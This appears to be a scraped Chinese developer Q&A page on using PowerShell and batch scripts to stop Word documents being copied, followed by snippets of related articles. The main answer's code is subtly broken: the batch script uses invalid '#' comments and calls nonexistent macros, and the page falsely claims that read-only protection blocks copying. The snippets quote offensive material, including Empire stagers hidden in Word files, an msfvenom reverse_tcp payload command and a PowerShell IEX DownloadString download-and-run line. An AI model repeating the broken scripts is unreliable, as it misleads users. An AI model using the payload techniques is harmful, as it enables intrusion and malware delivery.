首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何设置禁止word不复制使用微软PowerShell /批处理脚本?

禁止Word不复制使用微软PowerShell/批处理脚本可以通过以下步骤实现:

  1. 使用微软PowerShell脚本:
代码语言:txt
复制
# 设置Word禁止复制
$wordApp = New-Object -ComObject Word.Application
$wordApp.Visible = $false
$wordApp.DisplayAlerts = $false

$doc = $wordApp.Documents.Open("C:\path\to\your\document.docx")
$doc.Protect(3) # 设置文档保护级别为只读

$doc.SaveAs("C:\path\to\your\document_protected.docx")
$doc.Close()

$wordApp.Quit()
  1. 使用批处理脚本:
代码语言:txt
复制
@echo off
set wordPath="C:\Program Files\Microsoft Office\Office16\WINWORD.EXE" # Word的安装路径
set docPath="C:\path\to\your\document.docx" # 要禁止复制的文档路径
set protectedDocPath="C:\path\to\your\document_protected.docx" # 保护后的文档路径

start "" %wordPath% /mFileOpenMacro %docPath%
timeout /t 2 >nul
start "" %wordPath% /mProtectDocumentMacro %protectedDocPath%

以上脚本示例中,我们使用了PowerShell和批处理脚本来实现禁止Word复制的功能。具体步骤如下:

  1. 首先,我们创建一个Word应用程序对象,并设置其可见性和警告显示为false,以便在后台运行。
  2. 然后,我们打开要禁止复制的Word文档,并将其保护级别设置为只读。
  3. 最后,我们将保护后的文档另存为指定路径,并关闭Word应用程序。

对于批处理脚本,我们使用了start命令来启动Word应用程序,并通过宏来执行打开和保护文档的操作。需要注意的是,你需要根据你的Word安装路径和文档路径进行相应的修改。

这样,当执行这些脚本后,Word文档将被保护,并且无法进行复制操作。

推荐的腾讯云相关产品:腾讯云服务器(CVM)和腾讯云对象存储(COS)。

  • 腾讯云服务器(CVM):提供弹性计算服务,可满足各种规模和业务需求的云服务器需求。详情请参考:腾讯云服务器产品介绍
  • 腾讯云对象存储(COS):提供安全、稳定、低成本的云端存储服务,适用于存储和处理各种类型的文件和数据。详情请参考:腾讯云对象存储产品介绍
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

运维必学 | 初识介绍-从零开始学Windows批处理(Batch)编程系列教程

PowerShell 批处理 : 基于强大的.NET,是一种用于 Windows 操作系统的脚本语言和命令行工具。...包括但不限于文件和文件夹的创建、复制、删除、移动,运行程序和命令,设置环境变量,修改注册表等 除此之外,Windows bat 批处理脚本使用一种简单的命令语法,可以包含条件判断 if、循环 for、变量定义...Q: 如何学习Windows bat(批处理)?...批处理,(温馨提示脚本若有中文,可以将bat文件内容编码格式设置GBK,或者将将终端编码设置为UTF-8, 例如 chcp 65001 后续介绍) @echo off echo "Hello world...rem echo 我是注释执行1 :: echo 我是注释执行2 == echo 我不是注释要执行 @pause call :调用另一个批处理文件 描述: 使用call命令调用其他批处理文件,如果不用

52830

看我一招鲜 | BAT转EXE快速生成

02 实现过程第一步 最开始计划用windows系统自带的.bat或者.cmd这个批处理工具来制作一个可以通过电脑命令来执行修改电脑设置。...03 FTVIEW支持的脚本语言-PowerShell 通过FTVIEW SE软件可以发现是支持脚本语言的,他支持的脚本语言为PowerShell。...如上图所示,不过经过测试发现我编写的.ps1脚本虽然提示执行成功了,但是结果没有达到预期的效果,会提示模式不支持,然后无法设置电脑相关属性。...理论上讲powershell是比cmd更强大的语言,同时Powershell会兼容cmd的,但为啥powershell不行不是这个文章的重点,重点是如何能把这个.bat文件在FTVIEW中让他执行起来。...具体的使用方法也比较的简单容易啊,基本上就是根据提示下一步下一步的点然后输入一些信息就可以了,然后到了install program这里选择install program时选择使用cmd.exe然后来打开之前创建的

4.6K30

一篇文章精通PowerShell Empire 2.3(上)

Empire反弹回Metasploit 0×01.Empire简介 Empire是一个针对windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架,包括了从stager生成、提权到渗透维持的一系列功能...为了增加迷惑性,也可以将该批处理插入到一个office文件中,这里随便找个word或者excel文件,点击“插入”标签选择“对象”,然后选择“由文件创建”,点击“浏览”,并选择刚才生成的批处理文件,然后勾选...在“更改图标”界面里,我们可以选择一个图标,这里建议使用微软Excel、Word或PowerPoint图标,这里我们使用word的图标,并且更改文件的名称为研究成果,扩展名改为doc。...接着在listeners下监听,然后将该word文件发给目标,一旦在目标机上打开,并运行了内嵌的批处理文件,就会得到这个主机的权限,这里我们使用的虚拟机是win10的64位旗舰版,安装有系统自带的Defender...点击创建后,会弹出VB编辑界面,将里面原来的代码删除,把我们生成的宏复制进去,另存为“Word 97-2003文档(*.doc)”文件。如下图所示。

1.3K30

windows系统安全|Windows渗透基础大全

脚本 本地加载并执行PowerShell脚本 远程下载并执行PowerShell脚本 Windows中的批处理文件 Windows中快捷键操作 Windows中运行窗口的命令 Windows中的注册表.../test.exe f:\test.exe bitsadmin /setpriority test foreground #设置任务test为最高优先级 相关文章:使用bitsadmin.exe...中加载并执行PowerShell脚本 Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。...更多的关于PowerShell的用法:PowerShell使用浅析 本地加载并执行PowerShell脚本 在cmd当前目录下有PowerView.ps1脚本,并执行其中的Get-Netdomain模块...\powerview.ps1;Get-NetDomain 远程下载并执行PowerShell脚本 远程下载并执行test.ps1脚本、远程下载PowerView.ps1脚本,并执行其中的Get-Netdomain

1.7K10

疫情期间竟然还有这种病毒?解密古老而又神秘的宏病毒

Poweshell PowerShell.exe 是微软提供的一种命令行shell程序和脚本环境 Application.Run 调用该函数,可以运行.exe文件 WMI 用户可以利用 WMI 管理计算机...,许多宏病毒使用CallByName执行危险函数 | Powershell |  可以执行脚本,运行.exe文件,可以执行base64的命令 | Winmgmts |  WinMgmt.exe是Windows...管理服务,可以创建windows管理脚本 | Wscript  |  可以执行脚本命令 |   Shell  |  可以执行脚本命令 | Environment |  宏病毒用于获取系统环境变量 | Adodb.stream...这是因为 Office文件的默认设置是支持 VBA 代码所以允许 VBA代码的代码执行。尽管最近这种方法已经很容易被杀毒软件检测到,但在经过混淆处理之后,在很多情况下仍然可以生效。...) 一旦生成成功,你的 payload 将如下所示: 这是运行一个简单的 PowerShell base64混淆脚本

5.5K30

反弹shell的学习总结 - Part 2

后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell...生成/tmp/macro 攻击代码后,新建一个word 创建宏,注意:需要开启宏或者用户手动启用宏。开启宏设置:“文件”-“选项”-“信任中心”,选择“启用所有宏” ?...然后使用msfvenom命令生成powershell脚本木马 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=4444...将生成的test文件复制到python搭建的web服务器中,于是有:http://192.168.1.18:9889/test step 3:在目标机上执行powershell下载脚本 powershell...2.5.2 DLL注入反弹shell 使用模块的是Invoke-DllInjection.ps1,它是一个DLL注入的脚本,首先还是要下载脚本powershell IEX (New-Object System.Net.Webclient

1.9K31

传播恶意软件最有效帮手:超95%的PowerShell脚本都是恶意脚本

对很多IT专业人士来说,Powershell的确是Windows系统中一个相当强大的工具,而且微软也有意将PowerShell作为Windows系统的默认命令行工具。...赛门铁克分析,95.4%的PowerShell脚本为恶意脚本,这个结果表明来自外部的PowerShell脚本程序对企业构成了重大威胁,尤其是在使用shell 框架的企业中。 ?...它通过包含恶意宏的word文档进行传播,一旦打开文档,Powershell命令行就会启动,然后下载并安装最终的payload。...不过,绝大部分宏downloader还没运行就已经被系统禁止了,所以都并不需要赛门铁克的行为引擎分析。...如何应对? 防御此类威胁的最好方法是运行最新版本的安全软件以及Powershell。另外,恶意脚本大都是通过电子邮件传播,因此最好是不要打开来自不信任源的脚本、文件或者是链接。

1.5K60

OneNote 正在被更多的攻击者使用

随着微软默认禁用宏代码策略的生效,越来越多的攻击者开始使用 OneNote 文档来分发恶意软件。本文介绍了几个使用 OneNote 文档的案例,展示了攻击者如何使用该类文件进行攻击。...提取的恶意文件 批处理文件经过混淆,并且包含一个加密的数据块,随后是高度混淆的  PowerShell 代码。...混淆的批处理文件 研究人员解析文件,如下所示: 执行的命令 日志显示批处理文件复制并伪装恶意样本名为 zoo1.bat.exe,以试图隐藏其活动。...与之相关的 Powershell 代码也经过了混淆并且难以理解,研究人员手动进行格式化后如下所示: 可读的 PowerShell 代码 去混淆后,研究人员发现该脚本使用 base64 编码将加密数据块拆分成...HTA 文件执行 执行进程树 下载并执行 PowerShell 脚本,会下载 Cobalt Strike 的 DLL 文件。

1.1K30

【前缀“选区-” bat脚本

我们可以提供一个更完整的批处理脚本PowerShell脚本。确保它们都能正确处理带有前缀“选区-”的文件名。...批处理脚本(.bat): 以下是改进后的批处理脚本使用dir /b /a-d列出文件,并确保正确处理包含非ASCII字符的文件名: @echo off setlocal enabledelayedexpansion...pause 具体步骤: 创建批处理脚本文件: 打开一个文本编辑器(推荐使用Notepad++或VSCode)。 复制上述批处理脚本代码并粘贴到文本编辑器中。...创建PowerShell脚本文件: 打开一个文本编辑器(推荐使用Notepad++或VSCode)。 复制上述PowerShell脚本代码并粘贴到文本编辑器中。...运行PowerShell脚本: 将remove_prefix.ps1放在需要批量删除前缀的文件所在的目录。 右键单击脚本文件并选择“使用PowerShell运行”。

9110

人人都值得学一点PowerShell实现自动化(2)有哪些可用的场景及方式?

对其他微软系产品的自动化管理 同样地笔者非运维人员,在这一块也没有太深入了解,据笔者所知,使用PowerShell可以管理微软系绝大部分的产品如Exchange、SharePoint、Sqlserver...因为Azure是微软的未来,所以作为认真追随微软的人来说,没有理由会不跟上去先学习一下PowerShell,为了日后更好地运维Azure的资源。...使用CMD或PowerShell控制台执行 可以在控制台上引用文件路径,也可以执行PowerShell脚本。 此处需要在脚本文件前加个点号。...使用批处理的方式执行 可以用CMD执行,当然也可以将其封装成bat批处理任务,双击即可完成执行。...其他语言调用 据笔者所知,在dotNET语言可以轻松调用PowerShell脚本,至于如何实现,笔者没有深入研究过,有兴趣的可以自行google一下。

1.8K20

懒猿福利:自动安装 Windows 10 开发环境

针对这些现状,我选择使用Powershell及Choco来设计新的自动装机脚本Powershell负责配置Windows,Choco则可以自动从网上下载最新的软件安装包并静默安装。...+ Choco 如何自动化完成这些任务。...我的整个装机脚本的代码是开源的,文章最后有GitHub地址,所以本文只介绍重点步骤和代码。完整脚本大家可以看GitHub自由修改和使用。更欢迎高手们参与贡献,一起完成一个造福各种程序员的脚本。...禁用自动待机 我们希望跑自动化脚本装逼的时候,电脑超时待机就尴尬了。所以在漫长的自动化装机开始的时候,要禁用接通电源(AC)时候的自动待机。...使用Powercfg命令,设置接通电源的情况下,闲时20分钟关闭屏幕,但永不待机。

1.6K30

马克!程序员必须收藏的 10 类工具&库,助你提高效率变大神

软件行业也例外。一个好的程序员比其他人更加熟悉那些工具,也能比一般的程序员更善于使用那些工具。但是,有一些工具你希望每一个软件开发人员都知道。下面清单列出了这样的一些工具。...如果你不仅仅想在excel中复制粘贴内容来学习像VLOOKUP这样的函数,我建议你参加Udemy微软Excel:从新手到高手这门课程。也是深度学习Excel非常好的一门课程。...5.Word或者其他 微软word软件没有像Excel软件那么流行,但是它仍然是程序员和软件开发人员必须掌握的工具。...如果你是一个初学者或者想要提高Word技能的开发人员,我建议学习一下Udemy上面的从新手到高手掌握微软Word课程。...Windows Powershell微软为了任务自动化和配置管理开发的一个shell工具。

63720

内网渗透基石篇--权限提升

@ -o /root/msi.msi msiexec /quiet /qn /i d:\msi.msi # /quiet 安装过程中禁止向用户发送消息 # /qn 不使用GUI # /i 安装程序...由于它是微软官方提供的工具,所以杀毒软件不会有告警。如果黑客对以高权限运行的任务,所在的目录具有写权限,那么就可以使用恶意程序覆盖原有的程序。...用户配置—-控制面板设置—-本地用户和组—新建-本地用户中添加一个脚本登录。 ? ? 可以看到域控制器行创建了本地组策略的文件: ?...,建议使用LAPs 总结: 本文主要从内网权限提升出发,主要介绍一些低权限用户如何通过一些工具和脚本来获取一些高权限。...中间介绍了一些脚本和工具的使用,还做了几个实验来理解这些工具。

1.6K60

易学易用的Windows PowerShell

Windows PowerShell微软为 Windows 环境所开发的 shell 及脚本语言技术,这项全新的技术提供了丰富的控制与自动化的系统管理能力;而“脚本语言”(scripting languages...而微软也将会推出功能更强的 Windows shell,称为 Windows PowerShell。...宏语言通常附属于某一种软件,例如微软 Office、Visual Studio、Adobe Photoshop 都内建了宏语言的功能,使用者可利用软件所附的宏语言,达到自动化的结果(例如调整某个数据夹所有...图 3 三重管线范例的执行结果 新的脚本语言 微软为 Windows PowerShell 创造了新的脚本语言,但若你熟悉任何一种脚本语言,你也能很快熟悉 Windows PowerShell...再者,由于 Windows PowerShell 顾虑到安全性,预设是禁止计算机系统执行任何脚本程序,如果要解禁,必须利用 Set-ExecutionPolicy 指令。

1.5K60

绕过360进行Word文档钓鱼

自己技术菜,不是很了解原理,在这里就分享下我的利用方法,以及如何绕过杀软弹窗,大佬们轻喷!...首先配置好empire,具体的配置内容可以参考这篇文章[https://mari0er.club/post/empire.html],之后将生成的powershell代码复制粘贴到wix模板的第15行,...此时打开Word文档就会远程执行下载和安装msi木马的命令,进一步运行powershell进行反弹。...0x04   看到这里有人可能要问:为什么非要先调用msi文件再间接调用powershell呢?直接把执行命令通过RTF脚本写到文档里不是更方便吗?...0x05 防护方法:1.及时打上微软推出的补丁 2.不要随意下载未知邮件里的文档,更不要随意打开并查看文档内容。

2.5K50

报告:PowerShel lGallery易受输入错误和其他包管理攻击

PowerShell Gallery中的三大缺陷 PowerShell微软开发的命令行shell和脚本语言,用于自动化任务和系统管理。...其他包管理器(如npm)会采取措施来降低这种风险,并禁止攻击者对流行的包名执行键入。这里有一些来自npm博客的例子来说明它是如何工作的。...缓解和建议 如上所述,这个问题仍然是可重复出现的,所以在使用PowerShell Gallery中的包时需要更加注意和谨慎,直到微软修复了这些缺陷。...使用签名PowerShell模块策略:考虑到在PowerShellgallery中发现的漏洞,建议强制执行只允许执行签名脚本的策略。...这确保了任何脚本或模块(包括从PowerShell Gallery下载的脚本或模块)在运行之前必须使用受信任的证书进行数字签名,从而为防止恶意脚本的执行提供了额外的安全层。

18320

浅谈非PE的攻击技巧

正文 一、脚本攻击 1.JScript,VBScript还是PowerShell?...JScript,由微软开发的活动脚本语言,典型脚本后缀名.js VBScript,基于Visual Basic程序语言的脚本语言,典型脚本后缀名称.vbs PowerShell,可以认为是增强型CMD,...典型脚本后缀名称.ps1 通过对16年下半年与17年上半年样本类型进行分析, 其中JScript与VBScript的比例为7:3,以单独文件存在的PowerShell攻击脚本少之又少,但其在文档攻击中却颇为常见...PE文件,而目前对于第2级PE的执行方式,也渐渐从之前的直接允许转换到延迟执行,如下:通过设置计划任务方式在开机时执行。...图:word中内嵌恶意宏代码,远程下载恶意程序 0x2、word文件诱导下载 此外,文档中直接捆绑恶意程序比例也较大,该类方式主要是直接将恶意程序捆绑在文档中。 ?

1.6K70

CVE-2017-11882复现及防御

脚本使用多个 OLE 对象创建简单的文档。这些对象利用 CVE-2017-11882,从而导致连续命令执行。...既然能够实现弹出,那我们可以构造执行 powershell 直接获取 msf 会话 深入利用 在利用前,先了解一下 hta,hta 文件使用 HTML 格式,它的程序码可以像 HTML 一样被编辑和检查...1、利用 msf 生成利用的 powershell 脚本 ? ?...这里使用的是 43 字符限制的脚本 ( github 上还有 109 字符限制的脚本),命令长度有 43 字符的限制,可以使用 URIPATH 设置路径,尽量短一点,避免加起来超过 43 字符,这里生成的代码...防御方法: 目前微软公司已经发布了安全补丁下载微软对此漏洞补丁: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE

1K00

反弹shell | 反弹shell总结

PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。...一旦攻击者可以在一台计算机上运行代码,他们便可以下载powershell脚本文件(.ps1)到磁盘执行,脚本可以在内存中运行(无文件化)。...后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell...2.4 Empire反弹shell Empire(https://github.com/EmpireProject/Empire)基于powershell的后渗透攻击框架,可利用office宏、OLE对象插入批处理文件...Invoke-DllInjection.ps1,它是一个DLL注入的脚本,首先还是要下载脚本powershell IEX (New-Object System.Net.Webclient).DownloadString

3.3K21
领券